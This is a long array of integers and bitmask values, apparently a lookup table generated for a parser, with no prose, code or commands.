45,2345,3016,2798,2345,2345,2345,3017,2799,2345,2345,2345,2806,2729,2876,3308,2345,2915,2345,3310,2345,2922,2345,3536,2683,4475,3831,4927,2685,4422,2850,2345,2345,2345,2345,2345,2345,5004,2345,2345,2345,2345,4417,3024,3547,2854,5007,2861,2345,2345,2345,2345,4422,2869,2345,2345,2345,2345,2345,2868,2729,2345,2345,2345,2345,2345,2873,2345,2345,2345,4443,2345,3549,3338,2880,2345,2345,2345,2345,2887,2729,2345,2345,2345,2883,2880,2345,2345,4951,4956,2345,2345,2345,2345,4604,4971,4982,2345,2345,4805,4988,3762,2345,3965,2345,4436,4591,2907,2345,3192,2909,2345,4490,2345,3191,2908,2345,3491,4849,4476,4920,4920,4920,4849,2720,4477,4477,4477,4918,4922,2683,4476,4863,4478,2719,2684,2432,2429,2431,2563,2345,2345,2345,2345,2345,2345,2984,2345,2345,2345,2511,4068,4075,2345,2345,4081,2345,4085,2345,2345,4099,2345,3067,3768,2729,4088,2928,3046,2947,2932,2935,2938,2940,2940,2944,2345,2951,2956,2345,2345,5022,2729,2345,2345,2345,2345,4180,2345,2345,2345,2345,5023,2345,4654,2345,4496,2345,3077,4168,3570,5100,4176,2345,2345,2345,5024,2345,2345,4147,2345,2345,4258,2345,2345,2339,3845,2345,3726,3911,3122,3918,2345,4757,2345,4949,2345,2961,2974,2978,3641,3718,2988,2996,2722,3003,3008,2345,2998,4205,2345,2952,2345,2345,3697,2345,3015,4630,3021,3029,3033,2412,2991,2723,3040,3497,2345,2951,2956,2345,5067,4831,2345,3623,2964,3050,4101,2345,3156,3059,2345,2345,5115,3712,2387,4578,2345,5120,2458,2509,4221,2345,5107,2345,3202,2763,3060,2345,2345,2345,3733,2345,2951,2733,2345,4755,4856,3111,4236,2557,3086,2345,2348,3162,2345,2345,2527,3154,2345,2345,2347,3161,2345,2345,4684,3167,3432,4676,3096,2345,2345,2345,2345,2472,3106,2345,2345,2345,2345,2346,3105,2345,2345,2345,4878,3110,3119,2345,5067,4832,4234,3023,3126,4109,3602,3171,3176,2345,4069,3180,2345,4170,3176,2345,2345,3187,2345,4682,3217,4094,3257,3196,3972,3190,2345,3974,2345,3251,3209,2345,3973,2345,3214,3218,3223,3227,3231,4192,2345,3229,2345,3237,3606,3242,3246,4319,3250,3238,3230,3255,3261,3266,3266,3266,3274,3278,3262,3262,3262,3285,3289,4198,3290,4959,3294,4246,5038,3298,3302,3306,3316,3322,3329,2345,2345,2345,2345,3926,2345,2345,2875,3333,3337,4593,3342,3347,4397,3357,3361,3365,3366,3366,3370,2345,4118,3376,2345,4445,3382,4945,3392,2721,3398,2829,3406,3410,3417,3424,3004,3431,3947,2345,3426,2345,2345,3115,3658,4038,4560,2345,2345,2345,2345,2345,2345,2345,2650,2345,2345,2454,2345,2345,2345,4867,3100,3100,3100,3100,3101,2398,2398,2398,2398,2545,2359,2359,2359,2359,2359,2464,2419,2419,2419,2419,2419,2395,2470,4119,2345,2345,3437,3706,3578,3394,4115,2345,5085,3441,3522,4170,3451,2345,2345,3132,3489,2345,2345,2345,2345,3143,3495,2345,2345,2345,2345,4516,3484,2345,4070,3455,2345,2345,2345,4071,3456,2345,2345,2345,3460,3464,2345,2345,2345,3098,3100,3100,3100,3100,3100,2397,2398,2398,2398,2398,2398,2480,4118,3830,2345,3469,3584,3579,3476,4935,4215,3011,2345,2345,4515,3483,2345,2345,3191,2898,2345,2345,2345,2892,2345,2345,2345,2897,2345,2345,2345,3963,3232,2345,2345,2345,2345,3517,3490,2345,2345,2345,2345,4515,3520,2345,2345,2345,2345,3982,2345,3526,3585,3535,4117,2786,2345,2345,3541,2345,2345,2345,2345,4530,3545,2345,2345,2345,2345,3541,2345,2345,2345,2345,2456,2345,2345,4910,3100,3100,3100,3100,2476,2398,2398,2398,4531,3232,2345,2345,2345,3560,3565,3576,4115,3204,3583,2345,5095,2345,2345,2345,3163,3064,2345,2345,2345,2345,3219,3071,2345,2345,2345,2345,3157,5054,2345,2345,2345,5094,2345,2345,2345,5053,2345,2345,2345,3590,3966,3561,2345,2521,3137,2345,2345,3754,2981,3141,5078,4842,4667,2967,3147,2528,3155,2345,2751,5076,2686,5082,4996,5091,5099,2345,2345,5072,2345,2345,5105,2345,2345,4450,3818,2345,3825,2345,2460,3835,3839,2345,2345,2345,4069,3843,2345,4928,2345,3443,2345,3828,2345,4052,3148,2345,2386,3114,3150,4047,3149,3635,3635,4052,3113,3150,3150,3150,3980,3634,3112,3635,4053,3622,3635,3150,4974,4976,3627,4978,3631,3640,2345,2345,2345,2345,4428,3779,3723,2345,3595,3645,3649,4091,3655,3663,3667,3671,3675,3679,3680,3684,2345,2801,3689,2345,4841,3695,4295,2763,3350,3199,3691,5040,3485,3701,4584,3465,3705,4823,3710,3716,2345,2345,2802,3690,2345,4616,4756,3722,3731,3957,3201,3737,3750,3759,2345,3940,3766,2345,2345,2345,3312,4745,4749,4761,4765,4769,4773,4777,4781,4785,4788,4792,4795,3504,3232,2345,2345,2345,3505,2345,2345,2345,2646,3772,2345,2345,2345,4427,3778,2345,4164,4095,2345,3785,4903,2651,2345,3753,2345,2345,3793,2345,2345,2345,2345,3098,3100,3100,3100,3100,2398,2398,2398,2398,2478,2359,2359,2345,3797,2345,2345,2345,2345,2345,3801,2345,2345,2345,2345,2345,3805,2345,2345,3846,2810,5004,2345,2345,2345,2345,4151,2345,2815,2820,2833,4077,2838,3850,2345,2345,2345,2345,4737,2345,3855,2458,4716,3837,3863,2345,2345,3172,3871,3924,2345,2340,2345,2345,4149,2345,2339,3845,3723,3089,3789,2345,3930,4129,2345,2776,3914,4135,2728,2345,2345,2345,2345,3210,2345,2784,3082,3938,2345,2790,5046,2345,3935,2345,3944,2730,3877,2345,3352,2732,3955,2731,4157,4157,4157,3351,2732,2732,2732,3531,4156,4716,4157,4718,3878,4157,2732,2345,2345,2345,2345,3851,2345,2345,2345,2345,2345,3850,2345,2345,2345,2345,2345,2345,2345,3612,2663,2345,2345,2345,2345,2345,2345,2345,3780,3961,2345,2345,3920,3970,3978,3986,3990,3994,3998,4001,4005,4007,4011,2345,2345,2345,4015,2345,3606,4752,4107,3553,4020,4024,4643,4888,4028,2345,4851,2811,4032,4826,4037,4042,4046,2345,2345,4016,2345,3746,4051,3551,3877,4057,3636,4570,4063,2345,2345,2345,2780,2345,2345,2345,2510,4067,4105,2924,4156,4113,2386,4123,4538,2345,2345,2635,4127,2345,2345,2345,2345,2641,4133,2345,2345,2345,2345,2778,4181,2345,2457,2345,2345,4984,5025,2345,4139,2345,2855,3611,2345,2857,2345,2345,3386,2345,2856,2345,2345,3830,3616,2345,3445,2345,4145,2345,4670,3724,4155,3572,3114,4161,2345,2345,2345,3472,2729,2345,2345,2345,2345,2842,2345,2345,2345,2345,3081,2846,2345,2345,2345,2345,2345,2739,2692,3821,2749,2757,2345,2761,2767,2345,2771,4802,2345,4185,3077,3725,4231,3041,4220,2345,5087,2729,2345,2345,2911,4134,2345,2345,4172,2345,2345,2345,2354,3845,2345,3723,3606,2458,3787,3901,2345,3781,3537,4190,2345,2345,2910,4196,3378,3685,3607,4673,4202,2823,2345,4033,2729,2345,3931,2956,2345,3925,4214,4219,4225,4240,4244,4264,2345,4250,2345,4252,2345,2345,4256,2345,4251,3343,4538,4228,4262,2345,4270,3353,2345,4610,2345,3183,3130,2345,2345,2345,2346,3136,2345,2345,2345,2345,3183,3130,2345,2345,2673,2345,2345,2677,3814,2690,2696,2700,2704,2708,2712,2716,3744,2727,4275,4284,4288,4419,2668,3659,2733,4292,4308,4420,3556,3556,3556,4317,3530,4421,4335,4323,3555,3529,3568,3025,2669,3556,4330,4339,4341,4333,4326,4345,4349,4351,2345,2345,2345,2345,3897,2992,2345,4313,4355,4359,4390,4363,4367,4371,4375,4379,4381,4383,2345,2345,2345,4937,4387,4657,4394,4401,4460,2827,4636,4599,4278,4407,4411,5122,3727,4426,4432,2345,4440,4449,2345,2345,4938,3774,2657,4454,4458,3325,2345,3053,4464,4468,2345,2345,2345,5128,4474,2345,2345,2345,4482,2345,2345,4271,2888,2345,2345,2345,2345,3233,2345,2345,2345,4962,2864,3650,2893,2345,3727,4483,2345,2345,2345,3055,4487,4494,2345,2345,3890,4311,2433,2446,3618,2826,4186,5066,4947,2733,2345,2345,2345,3413,4500,2345,2345,2345,2345,3420,2800,4414,4622,4520,3318,2345,2970,5060,2345,2345,2345,2377,4524,2345,2345,2345,2345,3869,2345,2345,2345,2345,4171,3876,2345,2345,2345,4069,3870,2345,4952,4311,2443,4535,2827,3865,3433,2345,2345,2345,2379,4543,2345,2345,2345,3858,2345,2345,2345,2345,3859,2345,2345,2345,2957,3045,2345,2345,2377,4548,2345,2345,2345,2345,3281,4553,2345,2345,2345,2378,4549,4470,2345,4558,2440,4564,3203,4831,2345,2345,2377,4568,2345,2345,2345,3951,2345,2345,2345,4574,2345,4640,2345,4069,4647,2560,4651,4661,2345,4680,4539,4642,5031,2345,5014,4688,4830,4815,4403,3883,4642,4692,4628,4816,4696,4696,4702,4830,4706,4714,4714,4722,2414,2449,3808,4731,2414,4906,2450,4735,4725,4727,4741,4829,2345,2345,2345,2345,3925,2345,2772,3501,4141,3509,4115,4215,3074,2345,2345,3513,4799,2345,2345,2345,2345,4809,3015,4813,4820,4967,2388,2680,4210,4836,4554,2345,3372,2345,2345,3384,2345,2345,3372,2345,2345,2856,2345,2345,3589,3594,3599,4708,3872,4840,4846,2345,4710,4855,2345,2345,4544,4860,2834,3742,4965,3080,4872,4877,4882,2345,2345,2345,2345,3606,4886,2345,2345,2345,3478,4892,2345,2345,2345,3882,2663,2459,3092,3887,2345,2345,3894,2345,2345,2345,2355,2345,3479,2345,2345,2345,2345,4897,3616,2345,2345,4544,4915,3035,4280,2918,3446,4873,4698,4926,2345,2345,2345,2345,2345,4932,2345,2345,2345,2345,3606,4942,2345,2345,4435,3377,3907,2902,2345,4489,2729,2345,3651,2902,2345,3192,2909,2345,4994,5020,5001,3205,5011,2345,2345,2345,2345,2741,2745,2345,2345,2345,2345,4170,4608,2345,2345,4614,4989,4620,4626,3755,4950,2345,4634,2345,5013,2345,2744,2345,2345,2345,2345,2345,2743,2345,2345,2345,2345,2345,2743,4900,2345,4501,4915,3036,5018,3447,3864,5029,2345,2345,2345,4170,5035,2345,2345,2345,2345,4303,5044,2345,2345,2345,2345,5050,2345,2345,2345,2345,4304,4900,2345,3811,3740,4997,5058,5064,2345,2345,2345,5071,2345,2345,2345,3269,2345,2345,2345,4297,4301,2345,3402,2800,2345,2345,2345,2345,3401,4528,2345,2345,2345,2345,3401,4528,4470,4299,2345,2345,3270,2345,5111,4997,4577,2345,2345,2753,2345,4893,5116,2345,2752,2491,2458,2345,5126,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2661,3388,2667,2345,7267,5893,5132,5144,5141,5151,5153,5153,5153,5153,5148,5176,5152,5153,5153,5153,5159,5163,5176,5153,5153,5169,5164,5153,5180,5155,5154,5168,5151,6159,5173,5199,5205,5205,5205,5209,5209,5201,5213,5217,5220,5224,5228,5245,5232,5242,5234,5238,5236,5249,5252,7269,7026,5260,5273,5276,5276,5276,5255,5821,5295,5276,5276,5276,5276,5268,5730,6588,6270,5301,5276,5276,5254,6597,5821,6646,6646,6646,6646,5394,5396,5325,5449,5322,5396,5396,5325,5276,5384,5428,5333,5409,5274,5276,5276,5276,5286,5290,7174,5276,6844,7218,6005,5276,5276,5276,6390,6115,6646,6647,5323,5396,5397,5400,5428,5428,5428,5428,6645,6646,6646,5398,5400,5428,5345,6844,7217,5353,5276,5266,5276,5276,5388,7455,5457,5396,5396,5396,5396,5276,5399,5402,6779,5408,6667,5275,5276,5275,5276,5276,6239,5276,6839,5410,6667,5275,5276,5275,6561,5276,5275,6839,6843,7454,7155,5276,5276,7229,5276,5276,6466,5276,5276,6526,5276,5276,5276,5302,5276,5276,6646,5393,5396,5396,5396,5400,5407,6668,5276,5276,5268,6066,5402,5428,5428,5428,5429,6646,6646,6646,5395,5396,5396,5396,5326,5368,5419,5276,5276,5276,5305,5401,5428,5428,5428,5430,6646,5427,5428,5428,5428,6644,6646,6646,5402,5387,5276,5276,5276,5307,6771,6646,5394,5396,5396,5398,5427,5276,5276,5268,6630,5397,5403,5276,5276,5269,5731,6036,5400,5400,5402,5428,6644,5402,5428,5428,6643,6646,5368,5400,5427,6643,6646,6646,6646,5396,5396,5396,5397,5387,6646,5395,5324,5368,5276,5999,5276,5276,7234,6237,5276,6239,6237,5401,6643,5393,5324,5415,5434,5460,5464,5463,5462,5461,5326,7445,6108,6418,5509,5541,5438,5442,5508,5508,5508,5508,5486,5515,5454,5468,5472,5491,5543,5496,5508,5508,5538,5446,5582,5487,5506,5581,5513,5475,5519,5535,6805,6808,5547,6811,6814,6815,6816,5551,5554,5558,5569,5573,5579,5492,5586,5590,5594,5598,5605,5604,5601,5609,5613,5561,6981,5276,5276,5276,5308,5312,7372,5276,5276,5276,5309,7137,5276,5276,5276,5329,5276,6389,5276,5276,6557,5276,6391,5276,5276,5275,5276,6392,6392,5276,5276,5279,5276,6282,5276,5276,5276,5366,5276,6e3,6885,5910,7281,5626,5297,5629,5276,5276,7348,5276,5276,7354,5276,5276,5276,5631,5640,5899,5276,5647,5276,6987,5263,5186,5654,5657,5659,5660,5664,5668,5673,5672,5677,5679,5680,5680,5684,5686,5693,5688,5700,5688,5697,5689,5704,5276,5276,7355,5276,5276,5276,5648,6027,6933,6281,5898,5276,5276,5276,5367,5276,5276,5276,5368,5400,5708,6023,5276,5276,5281,7411,7471,7426,5276,5276,6043,5135,5276,5276,5281,7468,6467,5276,5716,5276,5276,5721,6061,5339,5276,5276,5304,5276,5341,5737,5745,5751,5749,5276,5276,5276,5369,6219,5751,5276,5276,5306,5310,6765,5276,5276,6988,5276,6526,5277,6886,6113,5784,5276,5793,7239,5808,5855,5812,5831,7055,5318,5276,5276,5276,5372,5348,7452,5827,5832,7056,5137,5276,5276,5276,5376,5368,5276,6525,5276,5414,5276,7452,7443,5276,5276,7419,6200,5276,5925,5276,5276,5276,7249,5717,5276,5276,5276,5387,5795,7243,5854,5845,7241,5851,5855,5846,7242,5852,5856,5317,5850,5854,5845,5898,5860,5276,5276,5276,5388,6362,5276,5854,5876,5318,5276,5276,7441,6519,7240,5851,5855,5877,5898,5881,5839,5276,5276,5370,5276,5276,5853,5885,5318,5276,5276,7452,6134,7239,6135,5854,5886,5898,6404,5870,6865,5276,5276,6117,5869,6864,5898,5276,6867,5276,5276,5276,5617,6117,5890,6866,5276,5276,5276,5620,6857,5276,6719,6723,5276,5276,7455,6886,6721,5898,5276,5276,5373,5276,5914,5276,5898,7023,5934,5938,5942,5945,5948,5949,5949,5950,5954,5954,5954,5954,5954,5958,5961,5276,5277,5921,5930,5276,6659,6079,5966,6872,6872,5276,5276,5276,5650,6487,5276,5711,6194,7445,7444,5368,5276,6e3,6525,5276,7025,5302,6259,5276,5370,5979,6510,5997,5276,6523,5276,5276,6660,6080,5967,5898,6890,5997,5276,6889,5276,5276,5276,5841,6010,5276,6606,5276,5276,5276,5822,6016,5276,5276,5276,5787,5276,6605,6017,5276,5277,5962,6001,7450,5276,5276,5276,5826,5831,5712,6195,7052,5276,5368,5276,5276,5366,5369,6121,5276,6513,5276,6559,5276,5276,5386,5282,5276,6093,5276,5276,5276,5864,6029,5276,5276,5276,5896,6848,5998,5276,6523,6792,5276,5276,6397,7112,6033,6047,6053,5898,5276,6034,6048,6054,5276,5278,5281,6211,6035,6049,6055,5276,5278,5909,5276,5279,6836,6888,5276,5276,5276,7452,5761,6526,6233,6268,5276,5280,5303,6536,5276,6268,6140,6038,6070,5276,5276,5400,5400,5400,5400,5401,6066,6588,6039,5894,5276,7456,5276,5276,5276,6002,5276,5276,5276,5975,5277,6078,6084,5367,6266,7445,6236,5999,6524,5276,6100,6037,6070,5276,5276,5477,5481,6630,6587,6090,5894,5276,6080,6086,5276,5276,5478,5482,6099,5276,5276,5276,6003,5276,5276,6036,6107,5276,5276,5276,6072,6033,6588,6106,5276,5276,5276,6073,6085,5276,5276,7023,6099,5276,5276,5281,6583,5728,5732,6105,5894,5729,5733,6106,5276,5281,6629,6586,5727,5731,6104,6108,5276,5276,5276,6117,5890,5371,6e3,6125,6268,6456,5276,6388,5276,5276,5276,6523,5276,7417,6416,5276,5276,5276,6119,5276,6524,6525,6659,6322,5276,5276,5276,6074,5363,7445,5276,5370,6e3,6236,5276,6320,5799,5803,5276,5276,5276,6127,6319,5798,5802,5276,5276,6321,5276,7260,7446,5368,6001,6320,5799,5801,5276,5276,6319,5797,5276,7073,5276,7258,7447,5276,7447,5302,7075,5803,5276,5276,7072,7076,5276,5281,7468,7477,5276,5276,7073,7260,7446,5276,7074,5802,5276,5285,5289,7173,6339,7258,7447,6339,7077,5276,6117,7076,5276,6342,5276,6117,6342,6139,6117,6200,6978,5276,6978,5276,6978,5276,7445,6197,5276,6237,6722,5276,5276,5372,7365,6199,6197,5276,6199,5276,5925,7445,6198,6198,6198,5276,5276,5926,6198,5276,6896,6896,5389,6536,5368,5525,6145,5276,5276,5276,6133,6358,5367,5276,5276,6198,6537,6199,6536,6200,5276,6537,5276,5276,5276,6480,6167,6152,6171,6175,6179,6181,6185,6185,6181,6189,6189,6189,6189,6189,6191,5276,5276,5564,6363,6206,5276,5276,5276,6199,6200,6251,5898,5276,5276,5565,5371,5276,5276,5575,6934,6200,5276,7454,5803,7356,5276,6293,5276,5804,5276,5287,5291,7160,7066,6196,5276,5285,6217,6223,7106,6232,5276,5287,7149,7129,6243,5276,7260,5276,5288,7150,7141,6257,5276,5789,5276,5276,5276,6202,6263,5276,5276,5276,6201,5367,5369,5387,6274,6253,5278,6018,5276,5276,5642,5276,5276,5276,6388,6113,5193,6286,6935,6040,6287,6936,6041,5276,5276,5191,5195,6288,6937,6042,5276,5276,5276,6226,5385,6114,6252,5276,5307,5311,5315,7420,7354,5276,5276,5739,7397,7403,6298,6329,5803,5276,5276,6006,6299,6330,5276,5276,5276,6265,6300,6331,5276,5276,5753,5752,5387,6275,5897,5276,5328,6552,6547,5803,6197,7453,7421,6267,6392,5479,6312,6329,5276,6458,5480,6313,6330,5276,5276,5764,5276,5385,6246,6253,5276,5363,5367,5276,5276,6536,6317,6267,5276,5276,5276,5621,6392,7412,6327,6332,6301,5803,5276,5276,5815,7444,6522,5276,5276,5375,5276,5276,5365,5276,5276,5916,5276,5276,5276,6294,5368,5386,6336,5276,5365,5276,6535,5276,6820,7444,5276,5276,6519,6308,5276,6198,5276,7452,5280,5276,5276,5276,6307,6197,5276,6843,5276,6356,6250,6678,5276,5276,5276,6368,5276,6844,5894,5276,5369,5998,6524,5276,5276,5276,5277,6208,6362,5276,5276,5276,6371,5276,6846,5276,5276,5898,5276,6005,5276,5276,6005,5276,5276,6846,6004,6002,6846,6005,6005,6005,5276,5276,6004,5276,5276,6005,6847,5276,5276,5995,6375,5894,5276,6520,6383,5276,5276,5276,6404,5871,6112,7024,6387,6111,5276,5276,5276,5363,6401,6761,6409,6972,6429,6432,6433,6434,6438,6438,6438,6438,6441,6443,6444,6444,6451,6451,6451,6451,6448,6452,5276,5276,5276,6425,5348,6566,5276,5276,5276,6463,6370,6494,5276,5276,5973,5276,5362,6468,5276,6469,6475,5276,5276,5276,6519,5276,6484,5276,5276,6e3,5389,6228,6477,5276,5276,6012,5276,6112,5276,5276,5276,6520,5276,5276,5276,6396,5304,6197,5276,5276,6060,6059,5276,6499,6507,5276,5386,5283,5276,5276,6395,5276,5276,5279,6208,6518,5276,5276,5359,5276,5276,5276,6524,5276,5276,6534,6534,5276,5388,5276,5284,6546,6618,5276,5276,6109,5903,6553,6548,5276,5276,6116,5998,5349,6567,5276,5276,5276,6392,6611,5305,6199,5276,6537,6265,5276,6236,6525,5276,6830,6573,5818,5276,6831,5501,5819,5276,6832,5502,5820,6830,5500,5818,5276,5422,6847,5276,5522,7448,5276,5636,6001,5998,6565,5276,5276,5276,6525,5276,5276,7449,6887,6493,5276,5641,6843,5276,5276,5276,6237,6537,5276,6268,6140,5276,6390,5276,6459,6571,6577,5821,5276,5276,5276,6657,5276,7285,5499,6578,5276,5276,6886,5279,5276,5649,6028,6094,5276,6458,5276,5276,5276,6526,7024,6877,5256,6579,5276,5276,5276,6528,6598,5276,5276,5276,6536,5276,6592,5276,5276,5276,6620,5276,6391,6459,5276,5739,7123,6938,5281,6583,6579,5276,5741,7125,6332,6602,5276,6459,5276,5741,7125,6522,5276,6404,5871,5280,5276,5302,5276,5757,5276,5356,6392,6526,5276,5276,6118,5279,6610,5276,5276,5276,6783,5367,6615,5276,5276,5276,6784,5276,6919,6923,5276,5777,5276,5276,5327,6542,5280,6537,6266,5276,5788,6264,5276,5288,7184,7189,5276,5277,5276,5367,5276,6268,6141,6712,6424,5276,5276,6126,5898,5276,5276,5632,6626,6634,5276,5276,6131,6414,6108,5276,5276,6395,5276,6844,5276,5276,5917,5276,6521,5276,6395,6522,6729,6846,5276,5375,6502,6651,6664,6672,6682,6685,6689,6693,6693,6693,6695,6697,6697,6697,6697,6701,6702,6702,6702,6703,6707,5276,6711,6423,5276,5276,5276,6735,5276,6716,5276,7351,5276,6727,5276,7420,6268,6969,6745,5276,5276,5276,6785,5450,5276,5276,5276,6793,6743,6094,5276,6750,6751,5276,5276,5276,6844,6212,5276,5276,5276,6847,5276,5276,6755,5276,5276,6238,5276,6524,6798,6267,6759,6771,6766,5276,5276,5276,6877,5194,6287,5276,7275,5276,5276,6248,5276,5276,6776,6772,6767,6790,5276,6792,5276,5907,5276,6269,5894,7260,7023,5276,5276,5276,6111,6392,6422,6847,5276,6100,5276,6888,5276,5276,6521,5276,5276,6194,7446,5368,7418,5276,5276,6293,5276,5276,5276,6269,6206,7033,6523,6797,6266,5312,5316,5276,5276,5276,6921,5313,5317,5276,5276,5276,6933,6792,6791,5276,5276,6305,5304,6420,6424,5276,5276,6319,6922,5276,5276,6118,5276,5374,5276,5276,6535,5276,5276,7034,7452,6826,5276,5908,5278,6495,5276,6519,5276,5276,5276,5281,5255,6598,5276,7033,5863,6828,6852,5314,5318,5276,5276,6913,5276,5276,5276,6958,6858,5318,5276,5276,6321,5800,6857,5317,5276,5276,6340,5802,6535,5276,6862,5276,6022,5753,5276,5278,5276,5276,7210,5276,6871,5276,5276,5276,7191,6199,6200,5276,5276,5276,7042,6425,5276,5276,6876,6887,5276,5367,6820,7444,5276,6002,5276,6194,7052,5276,6637,6520,5276,6536,5276,6822,5276,5276,6341,5276,7204,5276,5276,5276,7203,5367,5276,6786,5276,5276,6392,6921,6821,5276,5276,6904,5276,5276,6388,6391,6480,5276,5276,5276,7239,5276,6478,5367,5276,6095,5276,5276,6394,5276,6897,5276,5276,6883,6535,5276,5371,6904,5364,5276,6894,5276,6110,5276,5276,5981,7461,7451,5276,5276,5276,5983,7470,5990,5283,6536,6901,5276,6114,5276,6001,6911,5374,6535,5368,5803,5276,6392,6412,5369,5276,5276,5366,5364,6537,6364,5364,5276,5367,5371,5366,5364,5276,5276,6536,5365,5276,5366,5276,5366,5367,6538,6538,6538,5773,5767,5769,5771,5771,5772,5276,7445,5183,5276,5282,5917,7454,6113,6917,6942,7063,5336,6951,6962,6966,5531,6992,6995,6995,6998,7003,7002,7002,7004,7008,7009,7015,7013,7013,7013,7013,7019,7022,7030,5276,5276,6115,5375,5528,6927,5276,7445,6842,7453,6149,6156,6163,7038,6983,5276,5276,6392,7229,5277,5276,5276,7046,7060,5276,7070,5276,6116,5999,5276,6117,5276,5276,5364,5276,5276,5276,7240,7085,5276,5276,5276,7337,5349,5276,6906,7086,5276,6117,5368,5276,5276,6907,5276,7090,5276,6120,5276,5368,5389,6113,7094,5276,5276,5276,7338,6840,5276,6782,7444,6985,5276,5896,5276,6197,5276,5276,7024,5276,7104,5277,5276,5276,6947,6946,5276,6378,5276,5276,5276,7356,5276,5276,7356,6396,7111,7118,6379,5276,7119,6094,5276,5276,6405,5872,5898,6956,6954,5276,5276,6422,6847,7144,5276,5276,5276,7363,5285,5289,7113,7142,5286,7148,7114,7143,6201,5367,5276,5276,6458,5480,6298,7452,7154,5276,5895,5290,7159,7164,5318,7066,5318,5276,5276,6458,5481,6301,6676,5276,5276,6199,5276,5276,5276,6879,7180,5276,5276,5276,7364,5290,7174,7179,5276,5276,7178,5276,5276,5276,7380,5740,7169,5276,5276,6467,5276,6677,6197,5276,5924,7196,6975,5276,5276,6467,7049,5285,7195,7185,6391,6116,5276,5276,5276,7208,7454,5276,5276,6473,6477,6526,5276,7449,5276,6197,6520,5276,7446,5276,5375,7224,5276,5276,5276,7381,7214,5276,5276,5276,7408,7223,6847,5276,5276,6479,5276,7222,6425,5276,6201,6886,6492,7200,5276,6237,5276,5276,6841,6675,5276,5276,5387,5276,5276,6488,5276,6878,6781,5276,5276,6514,5276,5276,6879,7230,5276,5276,5276,7446,7228,5276,5276,6249,7452,5276,5389,5276,6198,6197,5276,6e3,5276,6238,5276,6524,6201,5276,6201,7449,5276,6193,7445,5276,5280,6209,6213,5276,6520,5276,5281,6065,6587,6879,7455,5276,5276,6525,6526,6659,6079,7450,5276,6395,7455,6621,6847,5276,7238,5276,6622,5276,5276,6526,7416,5276,6622,5276,7247,6620,7455,5276,5276,6530,5276,7391,6527,6621,6847,5276,5276,6537,5276,5276,6536,6621,6847,7455,5387,5388,6847,5388,7344,5276,5276,7229,7453,5386,5423,5389,5276,5276,6593,5276,5388,5276,5386,5388,7253,5276,7258,7446,6196,5276,5363,5276,6210,6887,5276,5894,5276,5276,5276,5971,7257,5276,5916,6640,7264,6258,5276,5189,5276,7260,5916,7259,6503,7097,7283,7273,5724,7100,7135,7279,6930,7132,7289,7293,7302,7295,7297,7306,7298,7317,7310,7311,7315,7318,7326,7326,7328,7324,7322,7332,7335,5276,6218,5750,5276,5276,7362,7366,7364,7342,5276,6467,5389,5281,5276,5276,6621,5276,5276,6393,5276,5915,5276,6227,6476,5276,5377,6746,5276,5386,5276,5276,5276,7449,5276,5276,7360,7370,7376,7385,5276,5276,5276,7450,5276,5276,6529,7386,5276,6265,5276,5276,5378,6094,7392,5276,5276,5276,7451,7342,7445,6201,5276,6266,5276,5276,5382,5400,5400,5400,5427,6389,6113,5276,5276,6235,6234,5276,5276,5276,7457,5276,6526,6716,7433,7396,7402,5276,5276,6733,6739,7403,5276,5276,5276,7466,7408,7398,7404,6844,5276,6847,5276,6267,6140,5276,5388,7230,5276,5414,5400,5400,5400,5428,7342,7447,7451,5276,6268,5276,6237,6268,5276,5276,7356,6110,6268,5276,5276,5276,5643,7409,5986,7425,5276,6292,5276,5276,5740,7124,7030,7410,5987,7426,5276,6306,5305,5276,5276,6201,5276,5276,5276,5739,7168,7411,5988,7427,5276,6323,7446,6117,5276,5371,5276,5276,7454,5276,6887,5276,5985,5989,6236,6846,6003,5276,6004,5276,6004,6002,5276,6845,5276,5276,5276,6802,5311,6560,7449,5276,5276,5281,7200,5276,6393,5276,7452,5276,5276,5276,6388,6113,5276,6233,5836,5898,5276,5276,7387,5868,7434,5276,5276,5276,6877,7228,6201,5276,7452,5962,5276,5276,5276,6853,5315,5898,5276,5276,7431,5276,5276,5276,6878,7229,5984,7471,5991,5276,6340,5803,5276,5780,5276,5990,5276,5276,5276,6920,5821,5982,7469,5989,5276,6346,6351,5276,5276,6388,6113,5276,5276,6946,5276,5276,7438,5276,5276,7024,5276,5276,5276,7467,7476,5276,5276,7477,5276,5276,5276,7025,5276,7450,5276,5388,5281,6279,5276,5276,5622,5315,5276,6389,6114,5276,6347,6352,5276,5276,5276,7444,5276,5276,5276,6945,7466,7475,5276,5276,7041,5276,5631,5276,5388,5282,7466,7462,5276,5276,5276,7040,5276,5276,5276,7081,5276,5303,5276,5276,5276,7110,6654,0,0,1075838976,2097152,-1845493760,0,0,2147483648,16777216,4194560,4196352,270532608,2097152,2097152,268435456,4194432,16777216,4194432,3145728,541065216,-2143289344,4194304,4194304,4194304,4194304,541065216,4194304,4194304,4194432,37748736,-1606418432,541065216,541065216,541065216,541065216,4194304,4194304,4196352,-1606418432,-1606418432,541065216,541065216,4194304,4198144,541065216,541065216,-2143289344,-2143289344,8425488,4194304,4194304,4194304,1,32768,0,2147483648,16,33554432,33554432,0,2,4,112,128,256,3584,16384,37748736,742391808,239075328,775946240,775946240,775946240,171966464,171966464,171966464,171966464,239075328,171966464,775946240,239075328,4718592,64,4718592,2097216,4720640,541589504,4194368,541589504,4194400,4194368,-2142763008,541589504,541065280,4194368,4194368,541065312,541065280,-2143289280,4194368,-2143285408,-2143285408,-2143285440,-2143285440,-2143285440,-2143285440,-1605890240,-2142761152,-2109731008,-1606414528,-2142761152,-1606414528,-2143285440,-2143285440,-1606414528,-1606414528,-2143285440,-2109731008,776470528,-1908404416,775946304,-1908404416,2,4,8,16,512,1024,4194304,128,128,0,2147483648,524288,5242880,2147483648,0,0,2,12,64,256,2048,2048,0,0,0,0,1,0,0,0,2,0,0,0,3,4,16,224,256,512,1024,16777216,16777216,0,0,2147483648,65536,1792,0,0,0,8,0,0,0,12,32,64,1024,2048,57344,262144,50331648,268435456,1073741824,2147483648,0,0,1536,64,524352,524352,524352,0,0,0,62,64,128,64,262144,1048576,0,2147483648,2097152,0,-2113929216,0,0,-1979711488,-1912602624,64,64,1048576,128,256,2048,262144,524288,4096,1024,1024,0,-570425344,32505856,0,0,48,25165824,0,0,0,33554432,268435456,0,0,0,524288,0,0,0,32,0,0,0,44,64576,319029248,0,524288,524288,524288,0,64,0,0,0,64,0,96,96,96,524352,524352,524352,524352,524288,524288,524288,524288,64,64,0,64,128,128,128,128,2048,2048,0,0,524288,524288,64,64,128,2048,0,0,64,128,8388608,524288,64,64,64,64,32,96,64,96